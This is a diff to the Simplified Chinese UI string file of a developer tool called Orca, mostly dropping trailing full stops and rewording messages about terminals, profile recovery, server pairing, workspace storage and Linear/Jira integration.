+      "rateLimitedSoon": "已达到 GitHub 速率限制。请几分钟后重试",
+      "rateLimitedSoonSignedOut": "已达到 GitHub 速率限制。请几分钟后重试，或运行 `gh auth login`，以便 Orca 使用你账户的更高限额",
+      "rateLimitedInMinute": "已达到 GitHub 速率限制。请约一分钟后重试",
+      "rateLimitedInMinuteSignedOut": "已达到 GitHub 速率限制。请约一分钟后重试，或运行 `gh auth login`，以便 Orca 使用你账户的更高限额",
+      "rateLimitedInMinutes_other": "已达到 GitHub 速率限制。请约 {{count}} 分钟后重试",
+      "rateLimitedInMinutesSignedOut_other": "已达到 GitHub 速率限制。请约 {{count}} 分钟后重试，或运行 `gh auth login`，以便 Orca 使用你账户的更高限额"
     }
   },
   "onboarding": {
     "language": {
       "back": "语言",
       "requestPrompt": "你希望 Orca 支持哪种语言？",
-      "requestSuccess": "语言请求已记录。你可以继续设置。",
-      "requestError": "无法记录你的请求。请重试。",
+      "requestSuccess": "语言请求已记录。你可以继续设置",
+      "requestError": "无法记录你的请求。请重试",
       "retry": "重试",
       "requestAction": "请求语言支持",
       "title": "显示语言",
       "device": "系统语言：{{language}}",
-      "unsupported": "系统语言：{{language}}。暂不支持此语言。",
-      "unknown": "无法检测系统语言。请在下方选择语言。",
-      "loadError": "无法加载此语言。请重试。",
-      "saveError": "无法保存你的语言偏好设置。请重试。",
+      "unsupported": "系统语言：{{language}}。暂不支持此语言",
+      "unknown": "无法检测系统语言。请在下方选择语言",
+      "loadError": "无法加载此语言。请重试",
+      "saveError": "无法保存你的语言偏好设置。请重试",
       "other": "其他语言…",
-      "settingsError": "无法加载你的设置。",
+      "settingsError": "无法加载你的设置",
       "loadingSettings": "正在加载设置…",
       "loading": "正在加载语言…",
       "saving": "正在保存语言…"
@@ -22154,8 +22600,8 @@
       "detailsNamed": "{{terminal}} 的详情",
       "goToTerminal": "转到终端",
       "copyId": "复制 Orca 会话 ID",
-      "refreshBeforeEnd": "刷新 PTY 前无法结束。",
-      "endUnsupported": "无法结束此终端。其主机不支持所需的安全检查。请从其标签页或所在主机关闭它。",
+      "refreshBeforeEnd": "刷新 PTY 前无法结束",
+      "endUnsupported": "无法结束此终端。其主机不支持所需的安全检查。请从其标签页或所在主机关闭它",
       "checkingTabs": "正在检查标签页…",
       "lastProcess": "最后看到的进程：{{process}}",
       "ending": "正在结束…",
@@ -22165,27 +22611,27 @@
       "localOwnedCount_other": "此计算机上的 {{count}} 个 Orca PTY",
       "withoutTab": "{{count}} 个没有标签页",
       "observedTime": "上次观察于 {{time}}",
-      "failed": "无法验证：无法刷新本地终端。正在显示上次观察到的终端。",
+      "failed": "无法验证：无法刷新本地终端。正在显示上次观察到的终端",
       "retry": "重试",
       "loading": "正在加载终端…",
       "noLocalOrcaPtys": "没有本地 Orca PTY",
       "openNamed": "打开 {{terminal}}",
       "endNamed": "结束 {{terminal}}",
       "endShort": "结束",
-      "endHint": "结束此终端及其子进程。",
-      "claimed": "智能体现在拥有此终端。请刷新后重试。",
-      "attached": "客户端现在已连接到此终端。请刷新后重试。",
-      "unverifiableEnd": "无法验证：主机无法确认结果。终端可能仍在运行。"
+      "endHint": "结束此终端及其子进程",
+      "claimed": "智能体现在拥有此终端。请刷新后重试",
+      "attached": "客户端现在已连接到此终端。请刷新后重试",
+      "unverifiableEnd": "无法验证：主机无法确认结果。终端可能仍在运行"
     },
     "resources": "资源",
     "ptys": "PTY",
-    "localDaemonScope": "这会影响此计算机上的终端。",
+    "localDaemonScope": "这会影响此计算机上的终端",
     "countUnavailable": "终端数量不可用",
-    "openToObserve": "打开“资源”以查看终端会话。",
+    "openToObserve": "打开“资源”以查看终端会话",
     "refresh": "刷新",
     "restartLocal": "重启本地守护进程",
     "killAllLocal": "结束所有本地会话",
-    "killFailed": "无法结束终端。将保留上次观察到的会话。",
+    "killFailed": "无法结束终端。将保留上次观察到的会话",
     "metricDetails": "指标详情"
   },
   "browserExtensions": {
@@ -22214,9 +22660,9 @@
     },
     "install": {
       "title": "添加 {{name}}？",
-      "profileDescription": "它会在使用 {{profile}} 配置文件的标签页中运行。",
-      "description": "它会在 Orca 浏览器标签页中运行。",
-      "noAccess": "它不会请求读取或更改网站上的数据。",
+      "profileDescription": "它会在使用 {{profile}} 配置文件的标签页中运行",
+      "description": "它会在 Orca 浏览器标签页中运行",
+      "noAccess": "它不会请求读取或更改网站上的数据",
       "canHeading": "它可以：",
       "cancel": "取消",
       "confirm": "添加扩展程序"
@@ -22227,71 +22673,71 @@
     },
     "unsupported": {
       "identity": "扩展程序登录",
-      "line": "Orca 暂不支持：{{features}}。"
+      "line": "Orca 暂不支持：{{features}}"
     },
     "permissions": {
       "title": "允许 {{name}} 获得更多访问权限？",
-      "description": "它正在请求添加时未拥有的访问权限。",
+      "description": "它正在请求添加时未拥有的访问权限",
       "deny": "拒绝",
       "confirm": "允许"
     }
   },
   "workspaceSpace": {
     "table": {
-      "lastActive": "最后活跃",
+      "lastActive": "最近活动",
       "actions": "操作"
     },
     "compact": {
       "linked": "已链接",
-      "linkedAndUnavailable": "链接工作树中的 {{value0}} · {{value1}} 不可用",
+      "linkedAndUnavailable": "链接的工作树占用 {{value0}} · {{value1}} 个不可用",
       "linkedAndScannedCount_other": "关联工作树占用 {{size}} · {{count}} 个工作区"
     },
     "changes": {
-      "empty": "没有匹配的文件。",
+      "empty": "没有匹配的文件",
       "conflict": "冲突",
-      "description": "未提交的文件 · 单击文件可查看其在 Orca 中的更改。",
+      "description": "未提交的文件 · 点击文件可在 Orca 中查看其更改",
       "unstaged": "未暂存",
-      "search": "过滤更改的文件",
+      "search": "筛选已更改的文件",
       "staged": "已暂存",
-      "count": "更改的文件 ({{count}})",
+      "count": "已更改的文件（{{count}}）",
       "openFailed": "无法打开更改",
-      "untracked": "未追踪",
-      "stale": "此文件已不在未提交的更改中。请刷新 Space 以更新列表。",
-      "unavailable": "工作区所有者不再可用。"
+      "untracked": "未跟踪",
+      "stale": "此文件已不在未提交的更改中，刷新空间分析以更新列表",
+      "unavailable": "该工作区的所属主机已不可用"
     },
     "metric": {
       "linkedWorktrees": "链接的工作树"
     },
     "empty": {
-      "title": "查看工作区存储的去向",
+      "title": "查看工作区存储空间的去向",
       "scan": "扫描工作区",
-      "description": "扫描您的工作区以比较大小、检查其最大的文件夹并查看您可以回收的空间。"
+      "description": "扫描工作区以比较大小、查看其中最大的文件夹，并了解可回收的空间"
     },
     "savedScan": {
-      "folderDetailsUnavailable": "文件夹详细信息不会与过去的扫描一起保存。刷新以检查此工作区。"
+      "folderDetailsUnavailable": "历史扫描不会保存文件夹详情，请刷新以查看此工作区"
     },
     "status": {
-      "notManaged": "未管理"
+      "notManaged": "非受管"
     },
     "scan": {
-      "moreErrors": "另有 {{value0}} 个扫描错误"
+      "moreErrors": "还有 {{value0}} 个扫描错误"
     },
     "breakdown": {
-      "viewAll": "显示更多文件夹详细信息"
+      "viewAll": "显示更多文件夹详情"
     },
     "chart": {
-      "clickToZoom": "单击工作区进行缩放",
-      "folderSizes": "文件夹尺寸"
+      "clickToZoom": "点击工作区以放大查看",
+      "folderSizes": "文件夹大小"
     },
     "window": {
-      "errorDescription": "关闭并重新打开 Space 后重试。",
-      "errorTitle": "Space 发生错误。"
+      "errorDescription": "关闭并重新打开空间分析以重试",
+      "errorTitle": "空间分析出错了"
     },
     "delete": {
-      "pending": "删除正在进行中。",
-      "main": "主工作树受到保护。",
-      "unmanaged": "此工作区不再由 Orca 管理。",
-      "unavailable": "该工作区受保护或不可用。"
+      "pending": "正在删除",
+      "main": "主工作树受保护",
+      "unmanaged": "此工作区已不再由 Orca 管理",
+      "unavailable": "此工作区受保护或不可用"
     },
     "rowActions": "{{name}} 的操作"
   },
@@ -22307,14 +22753,14 @@
   "quitAndStopAllSessions": {
     "title": "完全退出",
     "message": "停止所有终端会话并退出 Orca？",
-    "detail": "Orca 会关闭所有终端标签页并停止其会话（包括在终端中运行的智能体），然后退出。普通退出会保留这些会话，以便 Orca 下次启动时重新连接。远程主机上的终端会话可能会在远程继续运行。未保存的终端工作将丢失，关闭的标签页在下次启动时不会恢复。此操作不可撤销。",
+    "detail": "Orca 会关闭所有终端标签页并停止其会话（包括在终端中运行的智能体），然后退出。普通退出会保留这些会话，以便 Orca 下次启动时重新连接。远程主机上的终端会话可能会在远程继续运行。未保存的终端工作将丢失，关闭的标签页在下次启动时不会恢复。此操作不可撤销",
     "confirm": "停止会话并退出",
     "cancel": "取消",
-    "failed": "未能停止所有终端会话，因此 Orca 仍保持打开。",
+    "failed": "未能停止所有终端会话，因此 Orca 仍保持打开",
     "stopping": "正在停止终端会话，然后退出…",
     "ok": "确定",
-    "unavailableMessage": "Orca 目前无法停止所有终端会话。",
-    "unavailableDetail": "未停止任何内容。请在终端打开后重试。如果某个终端显示它是在较新版本的 Orca 中打开的，请先重新打开它。如果终端已经打开，请退出并重新打开 Orca，然后重试。"
+    "unavailableMessage": "Orca 目前无法停止所有终端会话",
+    "unavailableDetail": "未停止任何内容。请在终端打开后重试。如果某个终端显示它是在较新版本的 Orca 中打开的，请先重新打开它。如果终端已经打开，请退出并重新打开 Orca，然后重试"
   },
   "keybindings": {
     "title": {
@@ -22433,62 +22879,62 @@
       "keepSafeButton": "保持安全图形模式",
       "tryHardwareButton": "尝试硬件加速",
       "title": "安全图形模式已启用",
-      "message": "Orca 已在安全图形模式下恢复。",
-      "detail": "由于图形进程反复崩溃，已启用安全图形模式。保留它以获得稳定性，或重新启动并再次尝试硬件加速。"
+      "message": "Orca 已在安全图形模式下恢复",
+      "detail": "由于图形进程反复崩溃，已启用安全图形模式。保留它以获得稳定性，或重新启动并再次尝试硬件加速"
     },
     "restartPrompt": {
       "restartButton": "以安全图形模式重新启动",
       "keepRunningButton": "继续运行",
       "title": "以安全图形模式重新启动 Orca？",
-      "message": "Orca 的图形进程反复崩溃。",
-      "detail": "安全图形模式会为此 Orca 版本停用硬件加速和 WebGL。终端和 3D 内容的渲染可能会变慢。选择“继续运行”不会更改图形设置。"
+      "message": "Orca 的图形进程反复崩溃",
+      "detail": "安全图形模式会为此 Orca 版本停用硬件加速和 WebGL。终端和 3D 内容的渲染可能会变慢。选择“继续运行”不会更改图形设置"
     }
   },
   "profileState": {
     "startupRecovery": {
       "quitButton": "退出",
       "copyCommandButton": "复制恢复命令",
-      "copyCommandDetail": "复制恢复命令，然后在 Orca 关闭后运行它。",
-      "quitDetail": "退出 Orca，确定以哪份配置文件状态为准后再重试。",
+      "copyCommandDetail": "复制恢复命令，然后在 Orca 关闭后运行它",
+      "quitDetail": "退出 Orca，确定以哪份配置文件状态为准后再重试",
       "title": "无法打开 Orca 配置文件状态",
-      "message": "Orca 无法安全地打开此配置文件。"
+      "message": "Orca 无法安全地打开此配置文件"
     },
     "copyChoice": {
-      "lastSaved": "上次保存于 {{time}}。",
+      "lastSaved": "上次保存于 {{time}}",
       "useSqliteButton": "使用 SQLite（推荐）",
       "useJsonButton": "使用 JSON",
       "quitButton": "退出",
       "title": "选择配置文件状态",
-      "message": "此配置文件有两个不一致的已保存副本。",
-      "cause": "这通常发生在用旧版本的 Orca 打开此配置文件之后。",
-      "sqliteOption": "SQLite：此版本的 Orca 保存的内容。在旧版本中所做的更改将被丢弃。",
-      "jsonOption": "JSON：包含在旧版本中所做的更改。此版本此后保存的更改将被丢弃。",
-      "archiveNote": "Orca 会在切换前归档两个副本，然后重新启动。"
+      "message": "此配置文件有两个不一致的已保存副本",
+      "cause": "这通常发生在用旧版本的 Orca 打开此配置文件之后",
+      "sqliteOption": "SQLite：此版本的 Orca 保存的内容。在旧版本中所做的更改将被丢弃",
+      "jsonOption": "JSON：包含在旧版本中所做的更改。此版本此后保存的更改将被丢弃",
+      "archiveNote": "Orca 会在切换前归档两个副本，然后重新启动"
     },
     "repairChoice": {
-      "sectionStartsEmpty": "{{section}}：没有可读取的备份，因此将从空白开始。",
+      "sectionStartsEmpty": "{{section}}：没有可读取的备份，因此将从空白开始",
       "sectionKeptCurrent": "{{section}}：将保留当前运行记录",
-      "sectionRestored": "{{section}}：将从 {{time}} 保存的备份中恢复。",
-      "projectsForgotten": "Orca 将忘记你的项目及其工作区详情。磁盘上的文件不受影响。",
-      "newerProjectsRemoved": "该备份之后添加的项目将连同其工作区详情一起从 Orca 中移除。磁盘上的文件不受影响。",
+      "sectionRestored": "{{section}}：将从 {{time}} 保存的备份中恢复",
+      "projectsForgotten": "Orca 将忘记你的项目及其工作区详情。磁盘上的文件不受影响",
+      "newerProjectsRemoved": "该备份之后添加的项目将连同其工作区详情一起从 Orca 中移除。磁盘上的文件不受影响",
       "repairButton": "修复并重新启动",
       "quitButton": "退出",
       "title": "修复配置文件",
-      "message": "此配置文件已保存状态的一部分已损坏。",
-      "restUnchanged": "其他所有内容保持不变。",
-      "damagedCopyKept": "Orca 会在其数据文件夹中保留损坏文件的副本，然后重新启动。"
+      "message": "此配置文件已保存状态的一部分已损坏",
+      "restUnchanged": "其他所有内容保持不变",
+      "damagedCopyKept": "Orca 会在其数据文件夹中保留损坏文件的副本，然后重新启动"
     },
     "recoveryNotApplied": {
       "quitButton": "退出",
       "title": "Orca 无法完成此配置文件的恢复",
-      "message": "Orca 无法应用所选的配置文件状态。",
-      "reopenDetail": "重新打开 Orca 以再次选择。"
+      "message": "Orca 无法应用所选的配置文件状态",
+      "reopenDetail": "重新打开 Orca 以再次选择"
     },
     "writeFailure": {
       "title": "已停止保存",
-      "message": "Orca 已停止保存此配置文件。",
-      "indeterminateDetail": "Orca 无法确认你最近的更改是否已保存。在重新启动 Orca 之前，新的更改将不会被保存。",
-      "safeDetail": "此前保存的更改是安全的。在重新启动 Orca 之前，新的更改将不会被保存。",
+      "message": "Orca 已停止保存此配置文件",
+      "indeterminateDetail": "Orca 无法确认你最近的更改是否已保存。在重新启动 Orca 之前，新的更改将不会被保存",
+      "safeDetail": "此前保存的更改是安全的。在重新启动 Orca 之前，新的更改将不会被保存",
       "okButton": "确定"
     },
     "section": {
@@ -22509,28 +22955,28 @@
     "startupFailure": {
       "noneFound": "（未找到）",
       "sqlitePath": "SQLite 路径：{{path}}",
-      "sectionsDamaged": "此配置文件已保存状态的一部分已损坏：{{sections}}。其余内容均完好无损。",
+      "sectionsDamaged": "此配置文件已保存状态的一部分已损坏：{{sections}}。其余内容均完好无损",
       "repairCommand": "停止 Orca，然后运行 `{{command}}` 以仅修复损坏的部分并保留其他所有内容。Orca 会保留损坏文件的副本。",
-      "restoreWholeBackup": "如需改为恢复整份备份，请先运行 `{{exportsCommand}}`，再运行 `{{rollbackCommand}}`。",
-      "sqliteUnreadable": "Orca 无法安全地打开当前配置文件，因为其 SQLite 状态无法读取。",
+      "restoreWholeBackup": "如需改为恢复整份备份，请先运行 `{{exportsCommand}}`，再运行 `{{rollbackCommand}}`",
+      "sqliteUnreadable": "Orca 无法安全地打开当前配置文件，因为其 SQLite 状态无法读取",
       "legacyJsonPath": "旧版 JSON 路径：{{path}}",
       "retainedBackups": "保留的 SQLite 备份：",
       "retainedExports": "保留的 JSON 导出：",
-      "chooseRecoveryArtifact": "关闭 Orca，然后运行 `{{command}}`，选择一份确认完好的恢复数据。",
-      "restoreCommands": "使用 `{{backupCommand}}` 恢复 SQLite，或使用 `{{revisionCommand}}` 恢复 JSON 导出。",
+      "chooseRecoveryArtifact": "关闭 Orca，然后运行 `{{command}}`，选择一份确认完好的恢复产物",
+      "restoreCommands": "使用 `{{backupCommand}}` 恢复 SQLite，或使用 `{{revisionCommand}}` 恢复 JSON 导出",
       "authorityAmbiguous": "Orca 无法安全地确定以哪份配置文件状态为准：{{detail}}",
-      "authorityBothPreserved": "旧版本可能修改过 JSON 文件。两个副本均已保留，不会自动选择任何一个。",
-      "authorityCopyFirst": "关闭 Orca 并复制配置文件目录，然后再选择要保留的状态。",
-      "authorityKeepJson": "如需保留当前 JSON（包括旧版本中的修改），请运行 `{{command}}`。此操作会归档两个副本，不会合并其内容。",
-      "authorityInspect": "运行 `{{command}}` 以查看保留的恢复点。",
-      "authorityRestore": "请先选择要恢复的状态，再使用 `{{backupCommand}}` 或 `{{revisionCommand}}`。",
-      "newerSchema": "此配置文件由较新版本的 Orca 保存。请使用该版本或更新版本打开。你的配置文件未被更改。",
-      "revisionConflict": "Orca 启动期间，当前配置文件发生了更改。请关闭使用此配置文件的其他 Orca 进程，然后重新启动 Orca。",
-      "writerUnavailable": "Orca 无法启动配置文件保存功能。请重新启动 Orca；如果问题仍然存在，请修复或重新安装此版本。",
-      "publicationUnavailable": "Orca 无法将配置文件状态安全地保存到 {{directory}}。",
-      "publicationNeedsHardLinks": "此位置必须支持硬链接，且 Orca 需要创建硬链接的权限。",
-      "publicationMoveData": "在检查文件夹权限，或将整个 Orca 数据目录移动到支持硬链接的可写本地文件系统（如 APFS、NTFS 或 ext4）之前，请关闭 Orca 和 orcad。",
-      "publicationKeepFiles": "请保留原始目录和所有恢复文件。"
+      "authorityBothPreserved": "旧版本可能修改过 JSON 文件。两个副本均已保留，不会自动选择任何一个",
+      "authorityCopyFirst": "关闭 Orca 并复制配置文件目录，然后再选择要保留的状态",
+      "authorityKeepJson": "如需保留当前 JSON（包括旧版本中的修改），请运行 `{{command}}`。此操作会归档两个副本，不会合并其内容",
+      "authorityInspect": "运行 `{{command}}` 以查看保留的恢复点",
+      "authorityRestore": "请先选择要恢复的状态，再使用 `{{backupCommand}}` 或 `{{revisionCommand}}`",
+      "newerSchema": "此配置文件由较新版本的 Orca 保存。请使用该版本或更新版本打开。你的配置文件未被更改",
+      "revisionConflict": "Orca 启动期间，当前配置文件发生了更改。请关闭使用此配置文件的其他 Orca 进程，然后重新启动 Orca",
+      "writerUnavailable": "Orca 无法启动配置文件保存功能。请重新启动 Orca；如果问题仍然存在，请修复或重新安装此版本",
+      "publicationUnavailable": "Orca 无法将配置文件状态安全地保存到 {{directory}}",
+      "publicationNeedsHardLinks": "此位置必须支持硬链接，且 Orca 需要创建硬链接的权限",
+      "publicationMoveData": "在检查文件夹权限，或将整个 Orca 数据目录移动到支持硬链接的可写本地文件系统（如 APFS、NTFS 或 ext4）之前，请关闭 Orca 和 orcad",
+      "publicationKeepFiles": "请保留原始目录和所有恢复文件"
     }
   },
   "startupFailure": {
@@ -22541,13 +22987,13 @@
     "chooseTitle": "选择本地 Orca 构建",
     "chooseButton": "选择构建",
     "manifestFilter": "Orca 更新清单",
-    "sameVersionError": "此构建与正在运行的应用版本相同。请再次运行 pn build:mac 以创建具有唯一版本的构建。",
-    "noLiveTerminals": "没有需要重新连接的活动终端。",
-    "liveTerminals_one": "{{count}} 个活动终端将在重新启动后重新连接。",
-    "liveTerminals_other": "{{count}} 个活动终端将在重新启动后重新连接。",
+    "sameVersionError": "此构建与正在运行的应用版本相同。请再次运行 pn build:mac 以创建具有唯一版本的构建",
+    "noLiveTerminals": "没有需要重新连接的活动终端",
+    "liveTerminals_one": "{{count}} 个活动终端将在重新启动后重新连接",
+    "liveTerminals_other": "{{count}} 个活动终端将在重新启动后重新连接",
     "confirmTitle": "使用本地 Orca 构建？",
-    "schemaCompatibility": "工作区卡片和设置与状态架构 {{schemaVersion}} 兼容。",
-    "signatureRequirement": "该构建必须具有与 Orca 相同的有效代码签名，否则安装将停止。",
+    "schemaCompatibility": "工作区卡片和设置与状态架构 {{schemaVersion}} 兼容",
+    "signatureRequirement": "该构建必须具有与 Orca 相同的有效代码签名，否则安装将停止",
     "useButton": "使用本地构建",
     "cancelButton": "取消"
   },
@@ -22564,29 +23010,29 @@
       "serverReplaced": "不同的服务器"
     },
     "compat": {
-      "compatible": "运行时客户端与服务器兼容。",
-      "clientTooOld": "此 Orca 客户端版本过旧，无法连接所选服务器。请更新本机上的 Orca。客户端协议版本为 {{clientProtocol}}，服务器要求的客户端协议版本为 {{requiredProtocol}}。",
-      "serverTooOld": "所选 Orca 服务器版本过旧，无法与此客户端兼容。请更新服务器上的 Orca。服务器协议版本为 {{serverProtocol}}，客户端要求的服务器协议版本为 {{requiredProtocol}}。"
+      "compatible": "运行时客户端与服务器兼容",
+      "clientTooOld": "此 Orca 客户端版本过旧，无法连接所选服务器。请更新本机上的 Orca。客户端协议版本为 {{clientProtocol}}，服务器要求的客户端协议版本为 {{requiredProtocol}}",
+      "serverTooOld": "所选 Orca 服务器版本过旧，无法与此客户端兼容。请更新服务器上的 Orca。服务器协议版本为 {{serverProtocol}}，客户端要求的服务器协议版本为 {{requiredProtocol}}"
     },
     "remoteServerPairingErrors": {
-      "invalidPairingCode": "配对码无效。需要 orca://pair?... URL 或原始配对数据。",
-      "selfPairingCode": "这是当前 Orca 的配对码。请改在另一台计算机上生成配对码。",
-      "managedDeployment": "Orca 为你在 SSH 主机上运行此服务器；无法在此替换或移除其配对。要停用它，请运行 `orca environment stop --environment <name> --yes`，或前往设置 > SSH 主机上的 Orca；如果主机已不存在，请运行 `orca environment forget --environment <name> --yes`。",
-      "sshAccessChangePending": "此服务器的 SSH 访问更改未完成。替换配对或移除此服务器之前，请在设置 > 远程 Orca 服务器 > 已配对服务器的 SSH 访问下重试或取消更改。",
-      "sshAccessLinked": "替换配对或移除此服务器之前，请在设置 > 远程 Orca 服务器 > 已配对服务器的 SSH 访问下解除此服务器的 SSH 访问关联。",
-      "alreadyPairedCloudWorkspace": "此服务器已作为“{{name}}”配对。它属于一个云工作区，该工作区恢复运行时会再次与其配对。",
-      "alreadyPairedCloudIdentity": "此服务器已作为“{{name}}”配对。云工作区的服务器复用了该服务器的身份，因此未保存。",
-      "alreadyPairedWslHost": "此服务器已作为“{{name}}”配对。Orca 将其作为 WSL 主机管理，因此无法在此替换其配对。",
-      "alreadyPairedManagedDeployment": "此服务器已作为“{{name}}”配对。Orca 为你在 SSH 主机上运行此服务器；无法在此替换或移除其配对。要停用它，请运行 `orca environment stop --environment <name> --yes`，或前往设置 > SSH 主机上的 Orca；如果主机已不存在，请运行 `orca environment forget --environment <name> --yes`。",
-      "alreadyPairedSshAccessChangePending": "此服务器已作为“{{name}}”配对。此服务器的 SSH 访问更改未完成。替换配对或移除此服务器之前，请在设置 > 远程 Orca 服务器 > 已配对服务器的 SSH 访问下重试或取消更改。",
-      "alreadyPairedSshAccessLinked": "此服务器已作为“{{name}}”配对。替换配对或移除此服务器之前，请在设置 > 远程 Orca 服务器 > 已配对服务器的 SSH 访问下解除此服务器的 SSH 访问关联。",
-      "alreadyPairedAddAgain": "此服务器已作为“{{name}}”配对。要更新其连接，请在设置 > 远程 Orca 服务器下重新添加。",
-      "alreadyPairedUnreadable": "此服务器已作为“{{name}}”配对，但此版本的 Orca 无法读取其已保存的设置。",
-      "nameTaken": "名为“{{name}}”的服务器已存在。",
-      "idNeedsNewerOrca": "具有此 ID 的服务器已存在，其格式需要更新版本的 Orca。",
-      "hostSaveFailed": "Orca 已验证主机，但无法保存。请检查本地设置存储并重试。",
-      "repairSaveFailed": "Orca 已验证服务器，但无法保存新的配对。请检查本地设置存储并重试。",
-      "repairCloudWorkspace": "此服务器属于一个云工作区，该工作区恢复运行时会再次与其配对。"
+      "invalidPairingCode": "配对码无效。需要 orca://pair?... URL 或原始配对数据",
+      "selfPairingCode": "这是当前 Orca 的配对码。请改在另一台计算机上生成配对码",
+      "managedDeployment": "Orca 为你在 SSH 主机上运行此服务器；无法在此替换或移除其配对。要停用它，请运行 `orca environment stop --environment <name> --yes`，或前往设置 > SSH 主机上的 Orca；如果主机已不存在，请运行 `orca environment forget --environment <name> --yes`",
+      "sshAccessChangePending": "此服务器的 SSH 访问更改未完成。替换配对或移除此服务器之前，请在设置 > 远程 Orca 服务器 > 已配对服务器的 SSH 访问下重试或取消更改",
+      "sshAccessLinked": "替换配对或移除此服务器之前，请在设置 > 远程 Orca 服务器 > 已配对服务器的 SSH 访问下解除此服务器的 SSH 访问关联",
+      "alreadyPairedCloudWorkspace": "此服务器已作为“{{name}}”配对。它属于一个云工作区，该工作区恢复运行时会再次与其配对",
+      "alreadyPairedCloudIdentity": "此服务器已作为“{{name}}”配对。云工作区的服务器复用了该服务器的身份，因此未保存",
+      "alreadyPairedWslHost": "此服务器已作为“{{name}}”配对。Orca 将其作为 WSL 主机管理，因此无法在此替换其配对",
+      "alreadyPairedManagedDeployment": "此服务器已作为“{{name}}”配对。Orca 为你在 SSH 主机上运行此服务器；无法在此替换或移除其配对。要停用它，请运行 `orca environment stop --environment <name> --yes`，或前往设置 > SSH 主机上的 Orca；如果主机已不存在，请运行 `orca environment forget --environment <name> --yes`",
+      "alreadyPairedSshAccessChangePending": "此服务器已作为“{{name}}”配对。此服务器的 SSH 访问更改未完成。替换配对或移除此服务器之前，请在设置 > 远程 Orca 服务器 > 已配对服务器的 SSH 访问下重试或取消更改",
+      "alreadyPairedSshAccessLinked": "此服务器已作为“{{name}}”配对。替换配对或移除此服务器之前，请在设置 > 远程 Orca 服务器 > 已配对服务器的 SSH 访问下解除此服务器的 SSH 访问关联",
+      "alreadyPairedAddAgain": "此服务器已作为“{{name}}”配对。要更新其连接，请在设置 > 远程 Orca 服务器下重新添加",
+      "alreadyPairedUnreadable": "此服务器已作为“{{name}}”配对，但此版本的 Orca 无法读取其已保存的设置",
+      "nameTaken": "名为“{{name}}”的服务器已存在",
+      "idNeedsNewerOrca": "具有此 ID 的服务器已存在，其格式需要更新版本的 Orca",
+      "hostSaveFailed": "Orca 已验证主机，但无法保存。请检查本地设置存储并重试",
+      "repairSaveFailed": "Orca 已验证服务器，但无法保存新的配对。请检查本地设置存储并重试",
+      "repairCloudWorkspace": "此服务器属于一个云工作区，该工作区恢复运行时会再次与其配对"
     }
   },
   "native": {
@@ -22626,64 +23072,64 @@
       "fetchMore": "加载更多",
       "connectionFailed": "连接失败",
       "listLabel": "Linear 列表",
-      "projectNotFound": "未找到项目。",
-      "issuesLoadFailed": "无法加载 Linear issue。",
-      "apiKeyHint": "粘贴你希望 Orca 使用的 Linear 工作区的个人 API 密钥。如果该工作区已连接，Orca 会替换其已存储的密钥。",
-      "remoteKeyStorage": "此密钥由当前远程运行时存储。",
-      "localKeyStorage": "本地运行时的密钥存储在此设备上，并在可用时使用 Electron 加密存储。",
-      "commentsLoadFailed": "无法加载评论。",
+      "projectNotFound": "未找到项目",
+      "issuesLoadFailed": "无法加载 Linear issue",
+      "apiKeyHint": "粘贴你希望 Orca 使用的 Linear 工作区的个人 API 密钥。如果该工作区已连接，Orca 会替换其已存储的密钥",
+      "remoteKeyStorage": "此密钥由当前远程运行时存储",
+      "localKeyStorage": "本地运行时的密钥存储在此设备上，并在可用时使用 Electron 加密存储",
+      "commentsLoadFailed": "无法加载评论",
       "updateWorkspaceAccess": "更新 {{workspace}} 的 Linear 访问权限",
-      "workspaceApiKeyHint": "粘贴 {{workspace}} 的个人 API 密钥。如果此工作区已连接，Orca 会替换其已存储的密钥。",
+      "workspaceApiKeyHint": "粘贴 {{workspace}} 的个人 API 密钥。如果此工作区已连接，Orca 会替换其已存储的密钥",
       "connect": "连接",
       "descriptionUpdateFailed": "无法更新描述",
       "titleUpdateFailed": "无法更新标题",
       "truncated": {
-        "issues_one": "仅显示前 {{count}} 个议题。请搜索或打开 Linear 查看完整列表。",
-        "issues_other": "仅显示前 {{count}} 个议题。请搜索或打开 Linear 查看完整列表。",
-        "projectIssues_one": "仅显示项目中的前 {{count}} 个议题。请搜索或打开 Linear 查看完整列表。",
-        "projectIssues_other": "仅显示项目中的前 {{count}} 个议题。请搜索或打开 Linear 查看完整列表。",
-        "projects_one": "仅显示前 {{count}} 个项目。请搜索或打开 Linear 查看完整列表。",
-        "projects_other": "仅显示前 {{count}} 个项目。请搜索或打开 Linear 查看完整列表。",
-        "viewIssues_one": "仅显示视图中的前 {{count}} 个议题。请搜索或打开 Linear 查看完整列表。",
-        "viewIssues_other": "仅显示视图中的前 {{count}} 个议题。请搜索或打开 Linear 查看完整列表。",
-        "views_one": "仅显示前 {{count}} 个视图。请搜索或打开 Linear 查看完整列表。",
-        "views_other": "仅显示前 {{count}} 个视图。请搜索或打开 Linear 查看完整列表。"
+        "issues_one": "仅显示前 {{count}} 个议题。请搜索或打开 Linear 查看完整列表",
+        "issues_other": "仅显示前 {{count}} 个议题。请搜索或打开 Linear 查看完整列表",
+        "projectIssues_one": "仅显示项目中的前 {{count}} 个议题。请搜索或打开 Linear 查看完整列表",
+        "projectIssues_other": "仅显示项目中的前 {{count}} 个议题。请搜索或打开 Linear 查看完整列表",
+        "projects_one": "仅显示前 {{count}} 个项目。请搜索或打开 Linear 查看完整列表",
+        "projects_other": "仅显示前 {{count}} 个项目。请搜索或打开 Linear 查看完整列表",
+        "viewIssues_one": "仅显示视图中的前 {{count}} 个议题。请搜索或打开 Linear 查看完整列表",
+        "viewIssues_other": "仅显示视图中的前 {{count}} 个议题。请搜索或打开 Linear 查看完整列表",
+        "views_one": "仅显示前 {{count}} 个视图。请搜索或打开 Linear 查看完整列表",
+        "views_other": "仅显示前 {{count}} 个视图。请搜索或打开 Linear 查看完整列表"
       }
     },
     "jira": {
       "connectionFailed": "连接失败",
-      "remoteTokenStorage": "你的令牌会发送到所选的远程运行时，并使用该运行时支持的加密方式存储。",
-      "localTokenStorage": "你的令牌存储在本机，并在本地运行时存储支持加密时进行加密。"
+      "remoteTokenStorage": "你的令牌会发送到所选的远程运行时，并使用该运行时支持的加密方式存储",
+      "localTokenStorage": "你的令牌存储在本机，并在本地运行时存储支持加密时进行加密"
     },
     "errors": {
       "jira": {
-        "createFailed": "无法创建议题。",
-        "commentFailed": "添加评论失败。",
-        "notConnected": "未连接到 Jira。",
-        "titleRequired": "必须填写标题。",
-        "labelsConflict": "请提供 labels 或 labelOperations，不可同时提供两者。",
-        "updateFailed": "无法更新 issue。",
